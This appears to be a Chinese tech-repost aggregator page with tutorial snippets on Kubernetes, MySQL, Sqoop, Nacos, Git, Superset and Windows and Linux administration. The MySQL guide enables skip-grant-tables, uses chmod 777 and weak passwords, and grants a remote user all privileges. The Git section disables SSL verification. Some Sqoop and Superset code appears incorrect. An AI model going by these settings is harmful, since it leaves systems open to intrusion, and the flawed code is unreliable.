作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
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...准入控制 工作逻辑为修改请求的对象 2.验证(Validating)准入控制 工作逻辑为验证请求的对象 以上两类控制器可以分而治之,也能合作运行 2.为什么我们需要它? 就像我在上一章节提到的那样,准入控制器的引入可以很好的帮助我们运维人员,站在一个集群管理者的角度,去“限定”和规划集群资源的合理利用策略和期望状态。 同时,很多kubernetes的高级功能,也是基于准入控制器之上进行建设的。 3.常用的准入控制器 1.AlwaysPullImages 总是拉取远端镜像; 好处:可以避免本地系统处于非安全状态时,被别人恶意篡改了本地的容器镜像 2.LimitRanger 此准入控制器将确保所有资源请求不会超过namespace级别的LimitRange(定义Pod级别的资源限额,如cpu、mem) 3.ResourceQuota 此准入控制器负责集群的计算资源配额,并确保用户不违反命名空间的ResourceQuota对象中列举的任何约束(定义名称空间级别的配额,如pod数量) 4.PodSecurityPolicy 此准入控制器用于创建和修改pod,并根据请求的安全上下文和可用的Pod安全策略确定是否应该允许它。 4.如何开启准入控制器 在kubernetes环境中,你可以使用kube-apiserver命令结合enable-admission-plugins的flag,后面需要跟上以逗号分割的准入控制器清单,如下所示: kube-apiserver --enable-admission-plugins=NamespaceLifecycle,LimitRanger … 5.如何关闭准入控制器 同理,你可以使用flag:disable-admission-plugins,来关闭不想要的准入控制器,如下所示: kube-apiserver --disable-admission-plugins=PodNodeSelector,AlwaysDeny … 6.实战:控制器的使用 1.LimitRanger 1)首先,编辑limitrange-demo.yaml文件,我们定义了一个cpu的准入控制器。 其中定义了默认值、最小值和最大值等。 apiVersion: v1kind: LimitRangemetadata:name: cpu-limit-rangenamespace: mynsspec:limits:- default: 默认上限cpu: 1000mdefaultRequest:cpu: 1000mmin:cpu: 500mmax:cpu: 2000mmaxLimitRequestRatio: 定义最大值是最小值的几倍,当前为4倍cpu: 4type: Container 2)apply -f之后,我们可以通过get命令来查看LimitRange的配置详情 [root@centos-1 dingqishi] kubectl get LimitRange cpu-limit-range -n mynsNAME CREATED ATcpu-limit-range 2021-10-10T07:38:29Z[root@centos-1 dingqishi] kubectl describe LimitRange cpu-limit-range -n mynsName: cpu-limit-rangeNamespace: mynsType Resource Min Max Default Request Default Limit Max Limit/Request Ratio---- -------- --- --- --------------- ------------- -----------------------Container cpu 500m 2 1 1 4 2.ResourceQuota 1)同理,编辑配置文件resoucequota-demo.yaml,并apply; 其中,我们定义了myns名称空间下的资源配额。 apiVersion: v1kind: ResourceQuotametadata:name: quota-examplenamespace: mynsspec:hard:pods: "5"requests.cpu: "1"requests.memory: 1Gilimits.cpu: "2"limits.memory: 2Gicount/deployments.apps: "2"count/deployments.extensions: "2"persistentvolumeclaims: "2" 2)此时,也可以查看到ResourceQuota的相关配置,是否生效 [root@centos-1 dingqishi] kubectl get ResourceQuota -n mynsNAME CREATED ATquota-example 2021-10-10T08:23:54Z[root@centos-1 dingqishi] kubectl describe ResourceQuota quota-example -n mynsName: quota-exampleNamespace: mynsResource Used Hard-------- ---- ----count/deployments.apps 0 2count/deployments.extensions 0 2limits.cpu 0 2limits.memory 0 2Gipersistentvolumeclaims 0 2pods 0 5requests.cpu 0 1requests.memory 0 1Gi 大家可以将生效后的控制器,结合相关pod自行测试资源配额的申请、限制和使用的情况 本篇文章为转载内容。原文链接:https://blog.csdn.net/flq18210105507/article/details/120845744。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-25 10:44:03
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... 将 selinux文件中的SELINUX值修改为disabledwget -O /etc/yum.repos.d/openEulerOS.repo https://repo.huaweicloud.com/repository/conf/openeuler_aarch64.repo 增加openEulerOS.repo yum clean all 清除之前的所有仓库缓存yum makecache 生成软件包信息缓存,以提高搜索安装软件的速度dnf install mysqlmkdir /var/lib/mysql // 在 /var/lib 目录下创建一个mysql 目录cd /var/lib/mysql/ // 切换到这个目录mkdir data tmp run log // 在 mysql目录下 创建 data, tmp,run,log 四个子目录touch /var/lib/mysql/log/mysql.log // 在log 目录下 创建mysql.log空文件chown -R mysql:mysql /var/lib/mysql/ // 将 mysql目录下的所有文件 所有者及群组都设为 mysqlrm -f /etc/my.cnf// 将一些信息导入到 my.cnf 中echo -e "[mysqld_safe]\nlog-error=/var/lib/mysql/log/mysql.log\npid-file=/var/lib/mysql/run/mysqld.pid\n\n[mysqldump]\nquick\n\n[mysql]\nno-auto-rehash\n\n[client]\nport=3306\nmax_allowed_packet=64M\ndefault-character-set=utf8\n\n[mysqld]\nuser=root\nport=3306\nbasedir=/usr/local/mysql\nsocket=/var/lib/mysql/run/mysql.sock\ntmpdir=/var/lib/mysql/tmp\ndatadir=/var/lib/mysql/data\ndefault_authentication_plugin=mysql_native_password\nskip-grant-tables\nkey_buffer_size=16M" > /etc/my.cnfcat /etc/my.cnf // 查看文件内容chown mysql:mysql /etc/my.cnf // 将该文件的所有者及群组 都设为 mysqlll /etc/my.cnfchmod 777 /usr/local/mysql/support-files/mysql.server //对mysql.server的所有者,群组,其他用户设置读,写,执行,权限cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqlchkconfig mysql on // 开机自动启动chown -R mysql:mysql /etc/init.d/mysqlvi /etc/profile // 把 export PATH=$PATH:/usr/local/mysql/bin 放到文件尾端,设置环境变量source /etc/profile // 重新执行刚修改的文件,使之立即生效env // 显示系统的环境变量mysqld --defaults-file=/etc/my.cnf --initializechown -R mysql:mysql /var/lib/mysql/datall /var/lib/mysql/dataservice mysql startservice mysql status // 查看服务状态ps -ef | grep mysqlnetstat -anptnetstat -anpt | grep mysqlnetstat -anpt | grep 3306 显示有关mysql的进程mysql -u root -p -S /var/lib/mysql/run/mysql.sock // 输入密码进入到了mysqlalter user 'root'@'localhost' identified by "123456";flush privileges;create user 'user'@'%' identified by '123456';grant all privileges on . to 'user'@'%' with grant option;flush privileges;select user,host from mysql.user; service mysql stop 停止服务\q回到命令行vi /etc/ld.so.confldconfig 搜索出可共享的动态链接库(格式如lib.so),进而创建出动态装入程序(ld.so)所需的连接和缓存文件。缓存文件默认为/etc/ld.so.cacheln -s /var/ldconfiglib/mysql/run/mysql.sock /tmp/mysql.sock 建立软连接 service 和 chkconfig 都可以用 systemctl 来代替 遇到 Can’t connect to local MySQL server through socket ‘/tmp/mysql.sock’ (2) service mysql stop // 先停用ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock // 建立软连接vi /etc/my.cnf // 修改里面的 socket 路径service mysql start // 重启 Linux chmod 命令 Linux文件的所有者、群组和其他人 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_53318060/article/details/121664128。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-24 19:00:46
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Sqoop
...超级给力地兼容了多种文件格式,甭管是CSV、TSV,还是Avro、SequenceFile这些家伙,都通通不在话下! 虽然Sqoop功能强大且易于使用,但是安全性始终是任何应用程序的重要考虑因素之一。特别是在处理敏感数据时,数据的安全性和隐私性尤为重要。所以在实际操作的时候,我们大都会选择用SSL/TLS加密这玩意儿,来给咱们的数据安全上把结实的锁。 二、什么是SSL/TLS? SSL(Secure Sockets Layer)和TLS(Transport Layer Security)是两种安全协议,它们提供了一种安全的方式来在网络上传输数据。这两种协议都建立在公钥加密技术的基础之上,就像咱们平时用的密钥锁一样,只不过这里的“钥匙”更智能些。它们会借用数字证书这玩意儿来给发送信息的一方验明正身,确保消息是从一个真实可信的身份发出的,而不是什么冒牌货。这样可以防止中间人攻击,确保数据的完整性和私密性。 三、如何配置Sqoop以使用SSL/TLS加密? 要配置Sqoop以使用SSL/TLS加密,我们需要按照以下步骤进行操作: 步骤1:创建并生成SSL证书 首先,我们需要创建一个自签名的SSL证书。这可以通过使用OpenSSL命令行工具来完成。以下是一个简单的示例: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 3650 -nodes 这个命令将会创建一个名为key.pem的私钥文件和一个名为cert.pem的公钥证书文件。证书的有效期为3650天。 步骤2:修改Sqoop配置文件 接下来,我们需要修改Sqoop的配置文件以使用我们的SSL证书。Sqoop的配置文件通常是/etc/sqoop/conf/sqoop-env.sh。在这个文件中,我们需要添加以下行: export JVM_OPTS="-Djavax.net.ssl.keyStore=/path/to/key.pem -Djavax.net.ssl.trustStore=/path/to/cert.pem" 这行代码将会告诉Java环境使用我们刚刚创建的key.pem文件作为私钥存储位置,以及使用cert.pem文件作为信任存储位置。 步骤3:重启Sqoop服务 最后,我们需要重启Sqoop服务以使新的配置生效。以下是一些常见的操作系统上启动和停止Sqoop服务的方法: Ubuntu/Linux: sudo service sqoop start sudo service sqoop stop CentOS/RHEL: sudo systemctl start sqoop.service sudo systemctl stop sqoop.service 四、总结 在本文中,我们介绍了如何配置Sqoop以使用SSL/TLS加密。你知道吗,就像给自家的保险箱装上密码锁一样,我们可以通过动手制作一个自签名的SSL证书,然后把它塞进Sqoop的配置文件里头。这样一来,就能像防护盾一样,把咱们的数据安全牢牢地守在中间人攻击的外面,让数据的安全性和隐私性蹭蹭地往上涨!虽然一开始可能会觉得有点烧脑,但仔细想想数据的价值,我们确实应该下点功夫,花些时间把这个事情搞定。毕竟,为了保护那些重要的数据,这点小麻烦又算得了什么呢? 当然,这只是基础的配置,如果我们需要更高级的保护,例如双重认证,我们还需要进行更多的设置。不管怎样,咱可得把数据安全当回事儿,要知道,数据可是咱们的宝贝疙瘩,价值连城的东西之一啊!
2023-10-06 10:27:40
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追梦人-t
Nacos
...启内置认证 步骤一:修改配置文件 找到Nacos的配置文件 conf/application.properties 或者 conf/nacos.properties,根据环境选择相应的文件进行编辑。添加或修改以下内容: properties nacos.core.auth.enabled=true nacos.core.auth.system.admin.password=your_strong_password_here 这里开启了Nacos的核心认证机制,并设置了管理员账户的密码。请确保使用一个足够复杂且安全的密码。 步骤二:重启Nacos服务 更改配置后,需要重启Nacos服务以使新配置生效。通过命令行执行: bash sh ./startup.sh -m standalone 或者如果是Windows环境: cmd cmd startup.cmd -m standalone 现在,当您访问Nacos控制台时,系统将会要求输入用户名和密码,也就是刚才配置的“nacos”账号及其对应密码。 3. 高级安全配置 集成第三方认证 为了进一步提升安全性,可以考虑集成如LDAP、AD或其他OAuth2.0等第三方认证服务。 示例代码:集成LDAP认证 在配置文件中增加如下内容: properties nacos.security.auth.system.type=ldap nacos.security.auth.ldap.url=ldap://your_ldap_server:port nacos.security.auth.ldap.base_dn=dc=example,dc=com nacos.security.auth.ldap.user.search.base=ou=people nacos.security.auth.ldap.group.search.base=ou=groups nacos.security.auth.ldap.username=cn=admin,dc=example,dc=com nacos.security.auth.ldap.password=your_ldap_admin_password 这里的示例展示了如何将Nacos与LDAP服务器进行集成,具体的URL、基础DN以及搜索路径需要根据实际的LDAP环境配置。 4. 探讨与思考 配置安全是个持续的过程,不只是启动初始的安全措施,还包括定期审计和更新策略。在企业级部署这块儿,我们真心实意地建议你们采取更为严苛的身份验证和授权规则。就像这样,比如限制IP访问权限,只让白名单上的IP能进来;再比如,全面启用HTTPS加密通信,确保传输过程的安全性;更进一步,对于那些至关重要的操作,完全可以考虑启动二次验证机制,多上一道保险,让安全性妥妥的。 此外,时刻保持Nacos版本的更新也相当重要,及时修复官方发布的安全漏洞,避免因旧版软件导致的风险。 总之,理解并实践Nacos的安全访问配置,不仅是保护我们自身服务配置信息安全的有力屏障,更是构建健壮、可靠云原生架构不可或缺的一环。希望这篇文能实实在在帮到大家,在实际操作中更加游刃有余地对付这些挑战,让Nacos变成你手中一把趁手的利器,而不是藏在暗处的安全隐患。
2023-10-20 16:46:34
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夜色朦胧_
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...2、设置签名 3.将文件/目录从工作区追加到暂存区 4.查看状态 5.把暂存区的文件移除 6.把文件从暂存区上传到本地库 7.将文件变为未暂存状态 8.创建远程仓库并推送 9.删除远程仓库 10.拉取远程仓库 三、其他命令 1.查看命令信息指令 2.查看版本的提交记录 3.进入不同版本 4.分支操作 5.比较文件 四、遇到的错误 一、下载 用于 Windows 安装程序的 32 位 Git。 用于 Windows 安装程序的 64 位 Git。 二、基本命令 git命令和linux的命令基本相同,大部分linux命令在git中都可以使用。 1.初始化本地库 a.首先新建一个文件夹,进入文件夹,点击鼠标右键,找到菜单中的 Git Bash Here,点击进入命令界面。 b.输入命令 git init 初始化本地仓库 你会发现你的文件夹内多出一个 .git文件证明你的本地仓库初始化成功。 有的电脑可能会隐藏后缀名的文件,无法看到 .git文件,你需要去电脑设置可查看隐藏文件。方法:进入此电脑,点击上方查看,勾选隐藏的项目即可查看被隐藏的文件。 2、设置签名 签名主要是设置用户名和email地址,有两种级别:一种是项目级别 git config user.name 用户名, git config user.email邮箱地址;另一种是系统用户级别 git config --global user.name 用户名, git config --global user.email 邮箱地址。项目级别是优先于系统级别的,但二者至少设置一个。一般只用项目级别就行。 用 cat .git/config可以查看设置的项目签名。 3.将文件/目录从工作区追加到暂存区 命令 :git add 文件/目录 4.查看状态 命令:git status。 第一行信息告诉我们,目前正处于master分支; 第二行信息告诉我们,本地库还没有上传任何文件; 第三、四、五行信息告诉我们,可以用以下命令把暂存区的文件(绿色文件)上传到本地库。 5.把暂存区的文件移除 代码:git rm --cached 文件名。注意文件只是从暂存区中移除,并没有在目录中被删除。 未追加在暂存区的文件显示红色。 6.把文件从暂存区上传到本地库 命令:git commit -m "注释内容" 文件名。 这是查看状态可以看到暂存区已经没有文件可以上传到本地库,说明你上传成功。 7.将文件变为未暂存状态 命令:git rest HEAD 文件名。对在暂存区的文件进行操作。 8.创建远程仓库并推送 a.首先我们要有一个github或gitee账号: github官网:https://github.com/ gitee官网:https://gitee.com/ b.然后在里面创建一个远程仓库(以gihub为例): 登录进入主页面,找到并点击右上角的加号,点击 New repository,然后填写仓库信息。或者找到点击左方的 New选项。进入创建界面,填入信息。 下面三个选项可根据需要勾选。点击 Create...就创建号一个仓库了。 c.复制仓库地址 找到左上方导航Code选项,点击进入该选项 有两个地址:HTTP地址和SSH地址。我一般用HTTP地址(简单)。 如果你创建远程仓库时选择了下面的三个选项,可能你的Code界面会有所差别,点击右方的 Code即可查看仓库地址。 然后进入git命令界面:输入命令 git remote add origin(别名) 地址为你复制的地址创建别名并储存。命令 git remote -v查看你设置过的地址。 d.最后进行推送操作,将本地仓库推送到远程仓库。 命令 git push -u origin(你要推送到的远程仓库地址) master(你要推送的分支).在第一次推送是用上 -u选项,之后就可以不用。 该界面为成功推送,你再刷新你的github或gitee仓库,这是你上传的文件将出现在远程仓库表明推送成功。 注意:1.如果创建远程仓库时勾选了下面的三个选项,则可能你刷新时没发现有新文件推送到仓库,这是先找到红色划线位置,查看当前分支是否自己推送的分支,找到正确分支再看是否正确推送。 2.如果你是第n次推送,必须要在和远程仓库版本一样的条件下进行修改后推送,否则无法推送(不能跨多个版本推送)。 3.如果推送不成功,可能是你修改前的版本和远程库的版本不一致造成,先进行拉取,在修改推送。 9.删除远程仓库 首先进入要删除的远程仓库,点击上方导航条中的 Settings选项 然后找到进入左边菜单栏中的 Options选项,鼠标划到最下面找到 点击Delete this repository选项 最后按指示输入github用户名和密码进行删除即可。 10.拉取远程仓库 命令:git pull origin master。 在打算更新远程库时,先拉取远程库然后修改或添加,否则可能报错。 表明拉取成功。 注意:若你的本地仓库进行了修该导致无法拉去成功,则尝试用 git pull --rebase命令进行拉取。 三、其他命令 1.查看命令信息指令 命令:git help 2.查看版本的提交记录 命令:git log 以每条版本日志显示一行:git log --pretty=oneline 简写哈希值的方式:git log --oneline 可以看到前进后退步数:git reflog 3.进入不同版本 先用 git reflog命令查看哈希值 a.命令:git reset --hard 哈希值(索引) b.命令:git reset --hard HEAD^,该命令只能后退(查看当前版本之前的版本),后面几个 ^ 则后退几步。 c.命令:git reset --hard~,该命令只能后退(查看当前版本之前的版本),后退 (数值) 步; 4.分支操作 命令:git branch -v,查看所有分支 命令:git branch 分支名,创建分支 命令:git checkout 分支名,切换分支 5.比较文件 命令:git diff 文件名,工作区和暂存区比较 命令:git diff HEAD 文件名,当前版本比较 命令:git diff HEAD^ 文件名,历史版本比较 四、遇到的错误 git config --global http.sslVerify false 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_56180999/article/details/117634968。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-18 13:38:15
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NodeJS
...。就像是你和朋友们能即时聊天的小天地,或者大家一起同时修改同一份文档的神奇工具,这些都是 Socket.IO 能帮我们实现的好玩又强大的功能。 2. 后端服务 由于 Node.js 具有高并发性和异步编程的能力,因此它可以作为后端服务的核心引擎。比如,咱们可以拿 Express.js 这个框架来搭建一个飞快的 RESTful API,要不就用 Koa.js 来整一个更轻巧灵活的服务器,随你喜欢。 3. 数据库中间件 Node.js 可以作为数据库中间件,与数据库交互并实现数据的读取、存储和更新等功能。比如,我们可以拿起 Mongoose ORM 这个工具箱,它能帮我们牵线搭桥连上 MongoDB 数据库。然后,我们就能够借助它提供的查询语句,像玩魔术一样对数据进行各种操作,插入、删除、修改,随心所欲。 二、常用的云服务提供商及其 Node.js 开发教程 1. AWS AWS 提供了一系列的云服务,包括计算、存储、数据库、安全等等。在 AWS 上,我们可以使用 Lambda 函数来实现无服务器架构,使用 EC2 或 ECS 来部署 Node.js 应用程序。此外,AWS 还提供了丰富的 SDK 和 CLI 工具,方便我们在本地开发和调试应用程序。 2. Google Cloud Platform (GCP) GCP 提供了类似的云服务,包括 Compute Engine、App Engine、Cloud Functions、Cloud SQL 等等。在 GCP(Google Cloud Platform)这个平台上,咱们完全可以利用 Node.js 这门技术来开发应用程序,然后把它们稳稳地部署到 App Engine 上。这样一来,咱们就能更轻松、更方便地管理自家的应用程序,同时还能对它进行全方位的监控,确保一切运行得妥妥当当的。就像是在自家后院种菜一样,从播种(开发)到上架(部署),再到日常照料(管理和监控),全都在掌控之中。 3. Azure Azure 是微软提供的云服务平台,支持多种编程语言和技术栈。在 Azure 上,我们可以使用 Function App 来部署 Node.js 函数,并使用 App Service 来部署完整的 Node.js 应用程序。另外,Azure还准备了一整套超级实用的DevOps工具和服务,这对我们来说可真是个大宝贝,能够帮我们在管理和发布应用程序时更加得心应手,轻松高效。 接下来,我们将详细介绍如何使用 Node.js 在 AWS Lambda 上构建无服务器应用程序。 三、在 AWS Lambda 上使用 Node.js 构建无服务器应用程序 AWS Lambda 是一种无服务器计算服务,可以让开发者无需关心服务器的操作系统、虚拟机配置等问题,只需要专注于编写和上传代码即可。在Lambda这个平台上,咱们能够用Node.js来编写函数,就像变魔术一样把函数和触发器手牵手连起来,这样一来,就能轻松实现自动执行的酷炫效果啦! 以下是使用 Node.js 在 AWS Lambda 上构建无服务器应用程序的基本步骤: Step 1: 创建 AWS 帐户并登录 AWS 控制台 Step 2: 安装 AWS CLI 工具 Step 3: 创建 Lambda 函数 Step 4: 编写 Lambda 函数 Step 5: 配置 Lambda 函数触发器 Step 6: 测试 Lambda 函数 Step 7: 将 Lambda 函数部署到生产环境
2024-01-24 17:58:24
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青春印记-t
Superset
...题的原因,并提供解决策略,帮助大家在使用Superset时避免或解决数据更新延迟的问题。 原因分析 1. 数据源设置问题 错误配置了数据源,例如使用了实时性较差的数据源或者没有正确设置刷新频率。 2. 数据加载时间 数据从源到Superset的加载时间过长,特别是在处理大量数据时。 3. 缓存机制 Superset内部或外部缓存机制可能没有及时更新,导致显示的是旧数据。 4. 网络延迟 数据传输过程中遇到的网络问题也可能导致数据更新延迟。 解决方案 1. 检查数据源配置 - 确保数据源设置正确无误,包括连接参数、查询语句、刷新频率等。例如,在SQL数据库中,确保查询语句能够高效获取数据,同时设置合理的查询间隔时间,避免频繁请求导致性能下降。 python from superset.connectors.sqla import SqlaJsonConnector connector = SqlaJsonConnector( sql="SELECT FROM your_table", cache_timeout=60, 设置数据源的缓存超时时间为60秒 metadata=metadata, ) 2. 优化数据加载流程 - 对于大数据集,考虑使用分页查询或者增量更新策略,减少单次加载的数据量。 - 使用更高效的数据库查询优化技巧,比如索引、查询优化、存储优化等。 3. 调整缓存策略 - 在Superset配置文件中调整缓存相关参数,例如cache_timeout和cache_timeout_per_user,确保缓存机制能够及时响应数据更新。 python 在Superset配置文件中添加或修改如下配置项 "CACHE_CONFIG": { "CACHE_TYPE": "filesystem", "CACHE_DIR": "/path/to/cache", "CACHE_DEFAULT_TIMEOUT": 300, "CACHE_THRESHOLD": 1000, "CACHE_KEY_PREFIX": "superset_cache" } 4. 监控网络状况 - 定期检查网络连接状态,确保数据传输稳定。可以使用网络监控工具进行测试,比如ping命令检查与数据源服务器的连通性。 - 考虑使用CDN(内容分发网络)或其他加速服务来缩短数据传输时间。 5. 实施定期数据验证 - 定期验证数据源的有效性和数据更新情况,确保数据实时性。 - 使用自动化脚本或工具定期检查数据更新状态,一旦发现问题立即采取措施。 结论 数据更新延迟是数据分析过程中常见的挑战,但通过细致的配置、优化数据加载流程、合理利用缓存机制、监控网络状况以及定期验证数据源的有效性,我们可以有效地解决这一问题。Superset这个家伙,可真是个厉害的数据大厨,能做出各种各样的图表和分析,简直是五花八门,应有尽有。它就像个宝藏一样,里面藏着无数种玩法,关键就看你能不能灵活变通,找到最适合你手头活儿的那把钥匙。别看它外表冷冰冰的,其实超级接地气,等着你去挖掘它的无限可能呢!哎呀,用上这些小窍门啊,你就能像变魔法一样,让数据处理的速度嗖嗖地快起来,而且准确得跟贴纸一样!这样一来,做决定的时候,你就不用再担心数据老掉牙或者有误差了,全都是新鲜出炉的,准得很!
2024-08-21 16:16:57
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青春印记
HBase
...是一个分布式的,开放源码的分布式应用程序协调服务,它为大型分布式系统提供一致性服务,如配置维护、命名服务、分布式同步、组服务等。在HBase集群中,Zookeeper扮演着集群管理和协调的重要角色,用于维护元信息、监控RegionServer状态、管理服务器故障转移以及保证系统的全局一致性。 BlockCache , 在HBase中,BlockCache是一种基于LRU(最近最少使用)策略的内存缓存机制,用于存储最近访问过的HFile块(HBase内部存储格式)。BlockCache提高了随机读取操作的性能,因为它可以从内存中快速获取数据,而无需直接访问较慢的磁盘存储(如HDFS)。 MemStore , MemStore是HBase为每个Region维护的内存缓冲区,用于暂存待写入HDFS的修改操作。当MemStore达到一定阈值时,会被flush到磁盘形成新的HFile文件。通过这种方式,HBase能够在内存中累积多次写操作并批量写入磁盘,从而减少了磁盘I/O次数,提升了写入性能。同时,由于MemStore中的数据按列族排序,也优化了后续查询和Compaction过程。
2023-03-14 18:33:25
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半夏微凉
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...dit就可以进入了,修改计算机\HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics中的IconSpacing,IconVerticalSpacing等值可以进行调整,之后重启电脑使得修改生效即可. 2.怎么把我的电脑放到桌面上win10 引用别人的链接:win10中如何把我的电脑放到桌面上 3.分屏 分屏的方法 4.磁盘清理大法 C:\Users\HP\AppData--占的空间很大 C:\Users\HP\AppData\Roaming\Code --大 C:\Users\HP\AppData\Roaming\Code\User\workspaceStorage ---大! C:\Users\HP\AppData\Roaming\Code\User\workspaceStorage\281c5e08bf4f59f783a3aa64953fdc77\ms-vscode.cpptools ---大!! C:\Users\HP\AppData\Roaming--文件夹能删除吗 C:\Users\HP\Documents\Tencent Files D:\014-电子书\017-杂乱下载C盘\腾讯\5723\Image--腾讯聊天的图 C:\Users\HP\AppData\Local\Microsoft---6G 5.hiberfil.sys&swapfile.sys 可参考的相关hiberfi.sys和swapfile.sys的链接 今天HP1号的C盘满了,昨天还有5G的,今天只有2G了,发现了这两个文件.hiberfil.sys有3.12G,swapfile.sys256M. 经查,“hiberfil.sys”是系统休眠文件,其大小和物理内存一样大,这里我要解释下两个名字,计算机的休眠(hibernate)与睡眠(sleep),我们常用的是sleep功能, 即电脑放置一段时间, 进入低耗状态, 工作态度保存在内存里, 恢复时1-2秒就可以恢复原状态.这个功能是实用的, 也是最常用的. hibernate是把工作状态即所有内存中的数据,写入到硬盘(这就是hiberfil.sys文件),然后关闭系统,在下次启动开机时,将保持的数据写回内存,虽然需要花费些时间,但好处就是你正在进行中的工作,都会被保存起来,就算断电以后也不回消失,这也就是为什么经常有人说几个月不用关机的原因,当然休眠并不是必须的,完全看你这个需求了,如果确实有需要也不用care这点硬盘啦。有网友说--这个文件大小的描述错误,hiberfil.sys的大小并≠内存大小,因为该文件貌似是压缩过。我的内存是8G,这个.hiberfil.sys有3.12G,这样看这个网友说的对的. hiberfi.sys的链接 首先分清SLEEP睡眠和HIBERNATE休眠两个概念. 我们常用的是SLEEP睡眠功能, 也就是电脑经过一定时间后, 进入低功耗状态, 工作态度保存在内存里, 恢复时1-2秒就可以恢复原状态.这个功能是实用的, 也是最常用的. 而休眠是把工作状态即所有内存信息写入硬盘,如有2-4G内存,即要写入2-4G的文件到硬盘,然后才能关机,开机恢复要读取2-4G的文件到内存,才能恢复原界面.而大文件的读写要花大量 的时间,已经不亚于正常开机了,所以现在休眠功能很不实用(针对1G以上内存). 休眠的HIBERFIL.SYS这个文件就是用来休眠时保存内存状态用的.会占用C盘等同内存容量的空间(以2G内存为例,这个文件也为2G),所以完全可以删掉而不影响大家使用.还会大大节省C盘空间的占用。 操作: 以管理员运行CMD, 打以下命令: POWERCFG -H OFF 即自动删除该文件. 大家看处理前后C盘空间的变化就知道了. 怎么以管理员运行: 在“所有程序”->“附件”->“命令提示符”上右键,选“以管理员运行” 如果本身是以管理员身份登录,直接运行cmd即可。 我做的测试: 文件位置C:\hiberfil.sys “pagefile.sys”是页面交换文件(即虚拟内存),这个文件不能删除,不过可以改变其大小和存放位置. 6.windows中的休眠与睡眠 windows中的休眠与睡眠 7.WPS中如何不做拼写检查 WPS中如何不做拼写检查 8.EV视频相关方法 如何利用EV视频剪辑软件合并视频 EV剪辑怎么给视频添加字幕 9.WINDOW自带剪辑方法 WIN10自带剪辑视频的方法 10.快捷键大全 快捷键大全 11.B站上传合集 B站上传合集 12.查看WIN电脑配置 13.windows远程桌面链接 win+Rmstsc 14.word中的边框和底纹如何应用于文字,段落和页面 word中边框和底纹——应用于文字、段落、页面分别如何设置? 本篇文章为转载内容。原文链接:https://blog.csdn.net/Edidaughter/article/details/111231562。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-01 13:02:11
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Shell
...内存、CPU时间片、文件句柄等。可有时候呢,系统也会闹脾气,可能是手头资源不够,也可能是因为犯了什么小糊涂,总之就没办法给某个程序分到它该得的东西,这可咋整啊!这时候,系统就会把这小插曲记下来,弄出一条像“分配资源失败记录”这样的日志信息,就跟记笔记似的。 举个例子,假设你在一个服务器上运行了多个程序,其中一个程序需要大量的内存,但是服务器的内存已经被其他程序占满了。这时候,系统可能就会甩脸子了,不给这个程序多分一点内存,还随手记一笔小日记,说这个程序又来闹事儿啦。这就是典型的进程资源分配失败场景。 --- 2. 深入 为什么会出现这种错误? 说实话,每次看到这样的日志,我都会忍不住皱眉头。为什么会出现这种错误呢?其实原因有很多,以下是我总结的一些常见原因: - 资源耗尽:最常见的原因是系统资源已经耗尽。比如内存不足、磁盘空间不够或者网络带宽被占满。 - 权限问题:有时候,进程可能没有足够的权限去申请资源。比如普通用户尝试申请超级用户才能使用的资源。 - 配置错误:系统管理员可能配置了一些错误的参数,导致资源分配失败。例如,限制了某个用户的最大文件句柄数。 - 软件bug:某些应用程序可能存在bug,导致它们请求了不合理的资源数量。 让我给大家分享一个小故事。嘿,有次我正鼓捣一个脚本呢,结果它就不停地跟我唱反调,各种报错,说什么“分配日志资源失败”啥的,气得我都想把它扔进垃圾桶了!折腾了半天才发现,原来是脚本里有段代码疯了一样想同时打开几千个文件,但系统设定的文件句柄上限才1024个,这不直接给整崩溃了嘛!修改了这个限制后,问题就解决了。真是哭笑不得啊! --- 3. 实践 如何查看和分析日志? 既然知道了问题的来源,接下来就要学会如何查看和分析这些日志了。在Linux系统里头,咱们经常会用到一些小工具,帮咱找出那些捣蛋的问题到底藏哪儿了。 3.1 查看日志文件 首先,我们需要找到存放日志的地方。一般来说,系统日志会存放在 /var/log/ 目录下。你可以通过命令 ls /var/log/ 来列出所有的日志文件。 bash $ ls /var/log/ 然后,我们可以使用 tail 命令实时监控日志文件的变化: bash $ tail -f /var/log/syslog 这段代码的意思是实时显示 /var/log/syslog 文件的内容。如果你看到类似 Failed process resource allocation logging 的字样,就可以进一步分析了。 3.2 使用 dmesg 查看内核日志 除了系统日志,内核日志也是查找问题的好地方。我们可以使用 dmesg 命令来查看内核日志: bash $ dmesg | grep "Failed process resource allocation" 这条命令会过滤出所有包含关键词 Failed process resource allocation 的日志条目。这样可以快速定位问题发生的上下文。 --- 4. 解决 动手实践解决问题 找到了问题的根源后,接下来就是解决它啦!这里我给大家提供几个实用的小技巧。 4.1 调整资源限制 如果问题是由于资源限制引起的,比如文件句柄数或内存配额不足,那么我们可以调整这些限制。例如,要增加文件句柄数,可以编辑 /etc/security/limits.conf 文件: bash soft nofile 65535 hard nofile 65535 